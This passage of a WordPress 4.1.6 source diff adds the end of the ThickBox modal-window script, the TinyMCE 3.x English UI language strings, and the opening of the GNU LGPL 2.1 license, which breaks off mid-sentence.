+			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no parameters were added to URL
+			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no parameters were added to URL
+			ajaxContentW = TB_WIDTH - 30;
+			ajaxContentH = TB_HEIGHT - 45;
+
+			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window
+					urlNoQuery = url.split('TB_');
+					jQuery("#TB_iframeContent").remove();
+					if(params['modal'] != "true"){//iframe no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'><span class='screen-reader-text'>"+thickboxL10n.close+"</span><div class='tb-close-icon'></div></a></div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' >"+thickboxL10n.noiframes+"</iframe>");
+					}else{//iframe modal
+					jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'>"+thickboxL10n.noiframes+"</iframe>");
+					}
+			}else{// not an iframe, ajax
+					if(jQuery("#TB_window").css("visibility") != "visible"){
+						if(params['modal'] != "true"){//ajax no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'><div class='tb-close-icon'></div></a></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
+						}else{//ajax modal
+						jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");
+						}
+					}else{//this means the window is already up, we are just loading new content via ajax
+						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
+						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
+						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
+						jQuery("#TB_ajaxWindowTitle").html(caption);
+					}
+			}
+
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+
+				if(url.indexOf('TB_inline') != -1){
+					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
+					jQuery("#TB_window").bind('tb_unload', function () {
+						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
+					});
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({'visibility':'visible'});
+				}else if(url.indexOf('TB_iframe') != -1){
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({'visibility':'visible'});
+				}else{
+					jQuery("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method
+						tb_position();
+						jQuery("#TB_load").remove();
+						tb_init("#TB_ajaxContent a.thickbox");
+						jQuery("#TB_window").css({'visibility':'visible'});
+					});
+				}
+
+		}
+
+		if(!params['modal']){
+			jQuery(document).bind('keydown.thickbox', function(e){
+				if ( e.which == 27 ){ // close
+					tb_remove();
+					return false;
+				}
+			});
+		}
+
+	} catch(e) {
+		//nothing here
+	}
+}
+
+//helper functions below
+function tb_showIframe(){
+	jQuery("#TB_load").remove();
+	jQuery("#TB_window").css({'visibility':'visible'});
+}
+
+function tb_remove() {
+ 	jQuery("#TB_imageOff").unbind("click");
+	jQuery("#TB_closeWindowButton").unbind("click");
+	jQuery("#TB_window").fadeOut("fast",function(){jQuery('#TB_window,#TB_overlay,#TB_HideSelect').trigger("tb_unload").unbind().remove();});
+	jQuery( 'body' ).removeClass( 'modal-open' );
+	jQuery("#TB_load").remove();
+	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
+		jQuery("body","html").css({height: "auto", width: "auto"});
+		jQuery("html").css("overflow","");
+	}
+	jQuery(document).unbind('.thickbox');
+	return false;
+}
+
+function tb_position() {
+var isIE6 = typeof document.body.style.maxHeight === "undefined";
+jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
+	if ( ! isIE6 ) { // take away IE6
+		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
+	}
+}
+
+function tb_parseQuery ( query ) {
+   var Params = {};
+   if ( ! query ) {return Params;}// return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function tb_getPageSize(){
+	var de = document.documentElement;
+	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
+	arrayPageSize = [w,h];
+	return arrayPageSize;
+}
+
+function tb_detectMacXFF() {
+  var userAgent = navigator.userAgent.toLowerCase();
+  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
+    return true;
+  }
+}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/langs/wp-langs-en.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/langs/wp-langs-en.js	(revision 33402)
@@ -0,0 +1,519 @@
+/**
+ * TinyMCE 3.x language strings
+ *
+ * Loaded only when external plugins are added to TinyMCE.
+ */
+( function() {
+	var main = {}, lang = 'en';
+
+	if ( typeof tinyMCEPreInit !== 'undefined' && tinyMCEPreInit.ref.language !== 'en' ) {
+		lang = tinyMCEPreInit.ref.language;
+	}
+
+	main[lang] = {
+		common: {
+			edit_confirm: "Do you want to use the WYSIWYG mode for this textarea?",
+			apply: "Apply",
+			insert: "Insert",
+			update: "Update",
+			cancel: "Cancel",
+			close: "Close",
+			browse: "Browse",
+			class_name: "Class",
+			not_set: "-- Not set --",
+			clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.",
+			clipboard_no_support: "Currently not supported by your browser, use keyboard shortcuts instead.",
+			popup_blocked: "Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.",
+			invalid_data: "ERROR: Invalid values entered, these are marked in red.",
+			invalid_data_number: "{#field} must be a number",
+			invalid_data_min: "{#field} must be a number greater than {#min}",
+			invalid_data_size: "{#field} must be a number or percentage",
+			more_colors: "More colors"
+		},
+		colors: {
+			"000000": "Black",
+			"993300": "Burnt orange",
+			"333300": "Dark olive",
+			"003300": "Dark green",
+			"003366": "Dark azure",
+			"000080": "Navy Blue",
+			"333399": "Indigo",
+			"333333": "Very dark gray",
+			"800000": "Maroon",
+			"FF6600": "Orange",
+			"808000": "Olive",
+			"008000": "Green",
+			"008080": "Teal",
+			"0000FF": "Blue",
+			"666699": "Grayish blue",
+			"808080": "Gray",
+			"FF0000": "Red",
+			"FF9900": "Amber",
+			"99CC00": "Yellow green",
+			"339966": "Sea green",
+			"33CCCC": "Turquoise",
+			"3366FF": "Royal blue",
+			"800080": "Purple",
+			"999999": "Medium gray",
+			"FF00FF": "Magenta",
+			"FFCC00": "Gold",
+			"FFFF00": "Yellow",
+			"00FF00": "Lime",
+			"00FFFF": "Aqua",
+			"00CCFF": "Sky blue",
+			"993366": "Brown",
+			"C0C0C0": "Silver",
+			"FF99CC": "Pink",
+			"FFCC99": "Peach",
+			"FFFF99": "Light yellow",
+			"CCFFCC": "Pale green",
+			"CCFFFF": "Pale cyan",
+			"99CCFF": "Light sky blue",
+			"CC99FF": "Plum",
+			"FFFFFF": "White"
+		},
+		contextmenu: {
+			align: "Alignment",
+			left: "Left",
+			center: "Center",
+			right: "Right",
+			full: "Full"
+		},
+		insertdatetime: {
+			date_fmt: "%Y-%m-%d",
+			time_fmt: "%H:%M:%S",
+			insertdate_desc: "Insert date",
+			inserttime_desc: "Insert time",
+			months_long: "January,February,March,April,May,June,July,August,September,October,November,December",
+			months_short: "Jan_January_abbreviation,Feb_February_abbreviation,Mar_March_abbreviation,Apr_April_abbreviation,May_May_abbreviation,Jun_June_abbreviation,Jul_July_abbreviation,Aug_August_abbreviation,Sep_September_abbreviation,Oct_October_abbreviation,Nov_November_abbreviation,Dec_December_abbreviation",
+			day_long: "Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday",
+			day_short: "Sun,Mon,Tue,Wed,Thu,Fri,Sat"
+		},
+		print: {
+			print_desc: "Print"
+		},
+		preview: {
+			preview_desc: "Preview"
+		},
+		directionality: {
+			ltr_desc: "Direction left to right",
+			rtl_desc: "Direction right to left"
+		},
+		layer: {
+			insertlayer_desc: "Insert new layer",
+			forward_desc: "Move forward",
+			backward_desc: "Move backward",
+			absolute_desc: "Toggle absolute positioning",
+			content: "New layer..."
+		},
+		save: {
+			save_desc: "Save",
+			cancel_desc: "Cancel all changes"
+		},
+		nonbreaking: {
+			nonbreaking_desc: "Insert non-breaking space character"
+		},
+		iespell: {
+			iespell_desc: "Run spell checking",
+			download: "ieSpell not detected. Do you want to install it now?"
+		},
+		advhr: {
+			advhr_desc: "Horizontal rule"
+		},
+		emotions: {
+			emotions_desc: "Emotions"
+		},
+		searchreplace: {
+			search_desc: "Find",
+			replace_desc: "Find/Replace"
+		},
+		advimage: {
+			image_desc: "Insert/edit image"
+		},
+		advlink: {
+			link_desc: "Insert/edit link"
+		},
+		xhtmlxtras: {
+			cite_desc: "Citation",
+			abbr_desc: "Abbreviation",
+			acronym_desc: "Acronym",
+			del_desc: "Deletion",
+			ins_desc: "Insertion",
+			attribs_desc: "Insert/Edit Attributes"
+		},
+		style: {
+			desc: "Edit CSS Style"
+		},
+		paste: {
+			paste_text_desc: "Paste as Plain Text",
+			paste_word_desc: "Paste from Word",
+			selectall_desc: "Select All",
+			plaintext_mode_sticky: "Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.",
+			plaintext_mode: "Paste is now in plain text mode. Click again to toggle back to regular paste mode."
+		},
+		paste_dlg: {
+			text_title: "Use CTRL + V on your keyboard to paste the text into the window.",
+			text_linebreaks: "Keep linebreaks",
+			word_title: "Use CTRL + V on your keyboard to paste the text into the window."
+		},
+		table: {
+			desc: "Inserts a new table",
+			row_before_desc: "Insert row before",
+			row_after_desc: "Insert row after",
+			delete_row_desc: "Delete row",
+			col_before_desc: "Insert column before",
+			col_after_desc: "Insert column after",
+			delete_col_desc: "Remove column",
+			split_cells_desc: "Split merged table cells",
+			merge_cells_desc: "Merge table cells",
+			row_desc: "Table row properties",
+			cell_desc: "Table cell properties",
+			props_desc: "Table properties",
+			paste_row_before_desc: "Paste table row before",
+			paste_row_after_desc: "Paste table row after",
+			cut_row_desc: "Cut table row",
+			copy_row_desc: "Copy table row",
+			del: "Delete table",
+			row: "Row",
+			col: "Column",
+			cell: "Cell"
+		},
+		autosave: {
+			unload_msg: "The changes you made will be lost if you navigate away from this page."
+		},
+		fullscreen: {
+			desc: "Toggle fullscreen mode (Alt + Shift + G)"
+		},
+		media: {
+			desc: "Insert / edit embedded media",
+			edit: "Edit embedded media"
+		},
+		fullpage: {
+			desc: "Document properties"
+		},
+		template: {
+			desc: "Insert predefined template content"
+		},
+		visualchars: {
+			desc: "Visual control characters on/off."
+		},
+		spellchecker: {
+			desc: "Toggle spellchecker (Alt + Shift + N)",
+			menu: "Spellchecker settings",
+			ignore_word: "Ignore word",
+			ignore_words: "Ignore all",
+			langs: "Languages",
+			wait: "Please wait...",
+			sug: "Suggestions",
+			no_sug: "No suggestions",
+			no_mpell: "No misspellings found.",
+			learn_word: "Learn word"
+		},
+		pagebreak: {
+			desc: "Insert Page Break"
+		},
+		advlist:{
+			types: "Types",
+			def: "Default",
+			lower_alpha: "Lower alpha",
+			lower_greek: "Lower greek",
+			lower_roman: "Lower roman",
+			upper_alpha: "Upper alpha",
+			upper_roman: "Upper roman",
+			circle: "Circle",
+			disc: "Disc",
+			square: "Square"
+		},
+		aria: {
+			rich_text_area: "Rich Text Area"
+		},
+		wordcount:{
+			words: "Words: "
+		}
+	};
+
+	tinyMCE.addI18n( main );
+
+	tinyMCE.addI18n( lang + ".advanced", {
+		style_select: "Styles",
+		font_size: "Font size",
+		fontdefault: "Font family",
+		block: "Format",
+		paragraph: "Paragraph",
+		div: "Div",
+		address: "Address",
+		pre: "Preformatted",
+		h1: "Heading 1",
+		h2: "Heading 2",
+		h3: "Heading 3",
+		h4: "Heading 4",
+		h5: "Heading 5",
+		h6: "Heading 6",
+		blockquote: "Blockquote",
+		code: "Code",
+		samp: "Code sample",
+		dt: "Definition term ",
+		dd: "Definition description",
+		bold_desc: "Bold (Ctrl + B)",
+		italic_desc: "Italic (Ctrl + I)",
+		underline_desc: "Underline",
+		striketrough_desc: "Strikethrough (Alt + Shift + D)",
+		justifyleft_desc: "Align Left (Alt + Shift + L)",
+		justifycenter_desc: "Align Center (Alt + Shift + C)",
+		justifyright_desc: "Align Right (Alt + Shift + R)",
+		justifyfull_desc: "Align Full (Alt + Shift + J)",
+		bullist_desc: "Unordered list (Alt + Shift + U)",
+		numlist_desc: "Ordered list (Alt + Shift + O)",
+		outdent_desc: "Outdent",
+		indent_desc: "Indent",
+		undo_desc: "Undo (Ctrl + Z)",
+		redo_desc: "Redo (Ctrl + Y)",
+		link_desc: "Insert/edit link (Alt + Shift + A)",
+		unlink_desc: "Unlink (Alt + Shift + S)",
+		image_desc: "Insert/edit image (Alt + Shift + M)",
+		cleanup_desc: "Cleanup messy code",
+		code_desc: "Edit HTML Source",
+		sub_desc: "Subscript",
+		sup_desc: "Superscript",
+		hr_desc: "Insert horizontal ruler",
+		removeformat_desc: "Remove formatting",
+		forecolor_desc: "Select text color",
+		backcolor_desc: "Select background color",
+		charmap_desc: "Insert custom character",
+		visualaid_desc: "Toggle guidelines/invisible elements",
+		anchor_desc: "Insert/edit anchor",
+		cut_desc: "Cut",
+		copy_desc: "Copy",
+		paste_desc: "Paste",
+		image_props_desc: "Image properties",
+		newdocument_desc: "New document",
+		help_desc: "Help",
+		blockquote_desc: "Blockquote (Alt + Shift + Q)",
+		clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.",
+		path: "Path",
+		newdocument: "Are you sure you want to clear all contents?",
+		toolbar_focus: "Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",
+		more_colors: "More colors",
+		shortcuts_desc: "Accessibility Help",
+		help_shortcut: " Press ALT F10 for toolbar. Press ALT 0 for help.",
+		rich_text_area: "Rich Text Area",
+		toolbar: "Toolbar"
+	});
+
+	tinyMCE.addI18n( lang + ".advanced_dlg", {
+		about_title: "About TinyMCE",
+		about_general: "About",
+		about_help: "Help",
+		about_license: "License",
+		about_plugins: "Plugins",
+		about_plugin: "Plugin",
+		about_author: "Author",
+		about_version: "Version",
+		about_loaded: "Loaded plugins",
+		anchor_title: "Insert/edit anchor",
+		anchor_name: "Anchor name",
+		code_title: "HTML Source Editor",
+		code_wordwrap: "Word wrap",
+		colorpicker_title: "Select a color",
+		colorpicker_picker_tab: "Picker",
+		colorpicker_picker_title: "Color picker",
+		colorpicker_palette_tab: "Palette",
+		colorpicker_palette_title: "Palette colors",
+		colorpicker_named_tab: "Named",
+		colorpicker_named_title: "Named colors",
+		colorpicker_color: "Color: ",
+		colorpicker_name: "Name: ",
+		charmap_title: "Select custom character",
+		charmap_usage: "Use left and right arrows to navigate.",
+		image_title: "Insert/edit image",
+		image_src: "Image URL",
+		image_alt: "Image description",
+		image_list: "Image list",
+		image_border: "Border",
+		image_dimensions: "Dimensions",
+		image_vspace: "Vertical space",
+		image_hspace: "Horizontal space",
+		image_align: "Alignment",
+		image_align_baseline: "Baseline",
+		image_align_top: "Top",
+		image_align_middle: "Middle",
+		image_align_bottom: "Bottom",
+		image_align_texttop: "Text top",
+		image_align_textbottom: "Text bottom",
+		image_align_left: "Left",
+		image_align_right: "Right",
+		link_title: "Insert/edit link",
+		link_url: "Link URL",
+		link_target: "Target",
+		link_target_same: "Open link in the same window",
+		link_target_blank: "Open link in a new window",
+		link_titlefield: "Title",
+		link_is_email: "The URL you entered seems to be an email address, do you want to add the required mailto: prefix?",
+		link_is_external: "The URL you entered seems to be an external link, do you want to add the required http:// prefix?",
+		link_list: "Link list",
+		accessibility_help: "Accessibility Help",
+		accessibility_usage_title: "General Usage"
+	});
+
+	tinyMCE.addI18n( lang + ".media_dlg", {
+		title: "Insert / edit embedded media",
+		general: "General",
+		advanced: "Advanced",
+		file: "File/URL",
+		list: "List",
+		size: "Dimensions",
+		preview: "Preview",
+		constrain_proportions: "Constrain proportions",
+		type: "Type",
+		id: "Id",
+		name: "Name",
+		class_name: "Class",
+		vspace: "V-Space",
+		hspace: "H-Space",
+		play: "Auto play",
+		loop: "Loop",
+		menu: "Show menu",
+		quality: "Quality",
+		scale: "Scale",
+		align: "Align",
+		salign: "SAlign",
+		wmode: "WMode",
+		bgcolor: "Background",
+		base: "Base",
+		flashvars: "Flashvars",
+		liveconnect: "SWLiveConnect",
+		autohref: "AutoHREF",
+		cache: "Cache",
+		hidden: "Hidden",
+		controller: "Controller",
+		kioskmode: "Kiosk mode",
+		playeveryframe: "Play every frame",
+		targetcache: "Target cache",
+		correction: "No correction",
+		enablejavascript: "Enable JavaScript",
+		starttime: "Start time",
+		endtime: "End time",
+		href: "href",
+		qtsrcchokespeed: "Choke speed",
+		target: "Target",
+		volume: "Volume",
+		autostart: "Auto start",
+		enabled: "Enabled",
+		fullscreen: "Fullscreen",
+		invokeurls: "Invoke URLs",
+		mute: "Mute",
+		stretchtofit: "Stretch to fit",
+		windowlessvideo: "Windowless video",
+		balance: "Balance",
+		baseurl: "Base URL",
+		captioningid: "Captioning id",
+		currentmarker: "Current marker",
+		currentposition: "Current position",
+		defaultframe: "Default frame",
+		playcount: "Play count",
+		rate: "Rate",
+		uimode: "UI Mode",
+		flash_options: "Flash options",
+		qt_options: "QuickTime options",
+		wmp_options: "Windows media player options",
+		rmp_options: "Real media player options",
+		shockwave_options: "Shockwave options",
+		autogotourl: "Auto goto URL",
+		center: "Center",
+		imagestatus: "Image status",
+		maintainaspect: "Maintain aspect",
+		nojava: "No java",
+		prefetch: "Prefetch",
+		shuffle: "Shuffle",
+		console: "Console",
+		numloop: "Num loops",
+		controls: "Controls",
+		scriptcallbacks: "Script callbacks",
+		swstretchstyle: "Stretch style",
+		swstretchhalign: "Stretch H-Align",
+		swstretchvalign: "Stretch V-Align",
+		sound: "Sound",
+		progress: "Progress",
+		qtsrc: "QT Src",
+		qt_stream_warn: "Streamed rtsp resources should be added to the QT Src field under the advanced tab.",
+		align_top: "Top",
+		align_right: "Right",
+		align_bottom: "Bottom",
+		align_left: "Left",
+		align_center: "Center",
+		align_top_left: "Top left",
+		align_top_right: "Top right",
+		align_bottom_left: "Bottom left",
+		align_bottom_right: "Bottom right",
+		flv_options: "Flash video options",
+		flv_scalemode: "Scale mode",
+		flv_buffer: "Buffer",
+		flv_startimage: "Start image",
+		flv_starttime: "Start time",
+		flv_defaultvolume: "Default volume",
+		flv_hiddengui: "Hidden GUI",
+		flv_autostart: "Auto start",
+		flv_loop: "Loop",
+		flv_showscalemodes: "Show scale modes",
+		flv_smoothvideo: "Smooth video",
+		flv_jscallback: "JS Callback",
+		html5_video_options: "HTML5 Video Options",
+		altsource1: "Alternative source 1",
+		altsource2: "Alternative source 2",
+		preload: "Preload",
+		poster: "Poster",
+		source: "Source"
+	});
+
+	tinyMCE.addI18n( lang + ".wordpress", {
+		wp_adv_desc: "Show/Hide Kitchen Sink (Alt + Shift + Z)",
+		wp_more_desc: "Insert More Tag (Alt + Shift + T)",
+		wp_page_desc: "Insert Page break (Alt + Shift + P)",
+		wp_help_desc: "Help (Alt + Shift + H)",
+		wp_more_alt: "More...",
+		wp_page_alt: "Next page...",
+		add_media: "Add Media",
+		add_image: "Add an Image",
+		add_video: "Add Video",
+		add_audio: "Add Audio",
+		editgallery: "Edit Gallery",
+		delgallery: "Delete Gallery",
+		wp_fullscreen_desc: "Distraction-free writing mode (Alt + Shift + W)"
+	});
+
+	tinyMCE.addI18n( lang + ".wpeditimage", {
+		edit_img: "Edit Image",
+		del_img: "Delete Image",
+		adv_settings: "Advanced Settings",
+		none: "None",
+		size: "Size",
+		thumbnail: "Thumbnail",
+		medium: "Medium",
+		full_size: "Full Size",
+		current_link: "Current Link",
+		link_to_img: "Link to Image",
+		link_help: "Enter a link URL or click above for presets.",
+		adv_img_settings: "Advanced Image Settings",
+		source: "Source",
+		width: "Width",
+		height: "Height",
+		orig_size: "Original Size",
+		css: "CSS Class",
+		adv_link_settings: "Advanced Link Settings",
+		link_rel: "Link Rel",
+		height: "Height",
+		orig_size: "Original Size",
+		css: "CSS Class",
+		s60: "60%",
+		s70: "70%",
+		s80: "80%",
+		s90: "90%",
+		s100: "100%",
+		s110: "110%",
+		s120: "120%",
+		s130: "130%",
+		img_title: "Title",
+		caption: "Caption",
+		alt: "Alternative Text"
+	});
+}());
Index: /tags/4.1.6/src/wp-includes/js/tinymce/license.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/license.txt	(revision 33402)
@@ -0,0 +1,504 @@
+		  GNU LESSER GENERAL PUBLIC LICENSE
+		       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+		  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+  
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
